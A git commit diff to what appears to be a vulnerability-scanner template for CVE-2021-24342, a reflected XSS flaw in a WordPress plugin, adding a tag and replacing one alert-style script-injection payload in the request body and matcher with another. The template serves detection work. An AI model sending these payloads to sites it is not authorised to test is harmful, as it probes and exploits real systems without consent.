Update CVE-2021-24342.yaml

patch-1
Prince Chaddha 2021-09-15 14:35:51 +05:30 committed by GitHub
parent 88c319a148
commit d89b82f810
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -8,7 +8,7 @@ info:
reference:
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
tags: cves,cve2021,wordpress,xss
tags: cves,cve2021,wordpress,xss,wp-plugin
requests:
- raw:
@ -18,14 +18,14 @@ requests:
Accept: */*
Content-Type: application/x-www-form-urlencoded
lang=en_US&cat_id=6"><svg/onload=alert(document.domain)>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
matchers-condition: and
matchers:
- type: word
words:
- '<svg/onload=alert(document.domain)>'
- '</script><script>alert(document.domain)</script>'
part: body
- type: word